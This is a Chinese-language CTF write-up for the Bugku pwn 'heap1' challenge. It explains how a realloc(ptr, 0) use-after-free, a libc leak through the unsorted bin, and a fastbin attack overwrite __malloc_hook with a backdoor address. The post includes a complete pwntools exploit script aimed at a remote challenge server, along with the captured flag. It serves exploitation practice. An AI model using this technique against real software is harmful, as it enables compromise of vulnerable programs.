- 随便学学
pwn吧,太久没做pwn了,栈都忘干净了( - 用个例题来调调看吧,虽然现在
AI都全部能梭哈了,但多学学总没坏处( - 题目来自
Bugku pwn heap1

- 这是个菜单题,漏洞存在于
realloc(ptr, 0) 会 free(ptr) 然后返回 NULL。于是走 else 分支,*heap[idx]没被更新,仍指向已经被free的数据块。 UAF的原理:
free掉一个堆块后,没有将指向他的指针置0,于是可以继续利用垂悬指针对他所指向的那块内存区域进行修改,实现got表的篡改或者地址泄漏。
- 于是,我们可以控制那个被
free掉的chunk,修改它的fd指针,让fd指向__malloc_hook,然后再通过申请两个新chunk,第一个新chunk没用,第二个新chunk则实际上就是__malloc_hook,随后edit这个chunk就等于修改了__malloc_hook中的内容,于是我们可以把backdoor的地址写入这个chunk中,随后当我们再次执行malloc时,__malloc_hook就会被劫持随后进入backdoor,这样就被pwn掉了。 - 所以我们要知道
__malloc_hook的地址,__malloc_hook位于libc.so 的数据段,于是我们要算出libc基址,于是用unsortedbins泄漏出main_arena,再减去offset即可算出libc基地址。 - 开始调试看看,先
free一个进unsortedbins,记得要加隔离块。

0x7ffff7bc4b78 为 main_arena+88 的地址,接下来看当前加载的libc基地址。

- 可得当前基址为
0x7ffff7800000,偏移量为0x3c4b78 - 后续我们要找一个比
__malloc_hook地址低几位的合适地址来骗过fastbins size检查,然后劫持掉__malloc_hook - 下面试着找一下,先看
__malloc_hook

- 我们可以利用
0x7ffff7bc4af0 <_IO_wide_data_0+304>: 0x00007ffff7bc3260 0x0000000000000000
这一行做size check的欺骗,只要申请一个大小为0x60的块,这样再加上0x10的头部,就可以通过个size检查。 - 所以
fd要修改为指向__malloc_hook-0x10-0x08-0x03-0x08,于是在第二次申请出来的chunk,返回的地址应该是__malloc_hook-0x13这个位置,于是我们后续还要先填充长0x13的填充字符,现在试试

- 可以看到,确实变成了
0x7f,现在继续申请出第二块然后edit一下。


from pwn import *
import os
os.chdir(os.path.dirname(os.path.abspath(__file__)))
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['kitty', '-e']
libc = ELF('./libc-2.23.so')
elf = ELF('./pwn_patched')
#p = process('./pwn_patched')
p=remote("160.202.254.160",16450)
offset=0x3c4b78
printf_got = elf.got['printf']
back_door_addr=0x400926
def add(idx, size, data):
p.sendlineafter(b'choice', b'1')
p.sendlineafter(b'index', str(idx).encode())
p.sendlineafter(b'size', str(size).encode())
p.sendafter(b'data', data)
#def delete(idx):
#p.sendlineafter(b'choice', b'3')
#p.sendlineafter(b'index', str(idx).encode())
#p.sendlineafter(b'size', b'0')
def edit(idx,size):
p.sendlineafter(b'choice',b'2')
p.sendlineafter(b'index', str(idx).encode())
p.sendlineafter(b'size', str(size).encode())
def show(idx):
p.sendlineafter(b'choice', b'4')
p.sendlineafter(b'index', str(idx).encode())
add(0,130,'AAAAAAA')
add(1,130,'AAAAAAA')
edit(0,0)
show(0)
p.recvuntil(b'Chunk at index 0: ')
leak_data=p.recv(6)
leak_addr = u64(leak_data.ljust(8, b'\x00'))
print(hex(leak_addr))
libc_base=leak_addr-offset
malloc_hook_offset= libc.symbols['__malloc_hook']
malloc_hook_addr=libc_base+malloc_hook_offset
add(2,96,'AAAAAAA')
edit(2,0)
edit(2,96)
payload1=p64(malloc_hook_addr-0x23)
p.sendlineafter(b'data',payload1)
add(3,96,'AAAAAAA')
p.sendlineafter(b'choice', b'1')
p.sendlineafter(b'index', str(4).encode())
p.sendlineafter(b'size', str(96).encode())
payload2=b'A'*0x13+p64(back_door_addr)
p.sendlineafter(b'data',payload2)
p.sendlineafter(b'choice', b'1')
p.sendlineafter(b'index', str(5).encode())
p.sendlineafter(b'size', str(100).encode())
p.interactive()
#gdb.attach(p)
#flag{2d264ec100f1aafee9588a6a91e42ac2}
- 最后就是由于劫持了
__malloc_hook,所以只要一遇到malloc()就会触发backdoor,所以根本等不到输入具体的内容,所以最后一次申请chunk就不用p.sendafter(b'data', data)了,否则会导致脚本卡死。

评论已关闭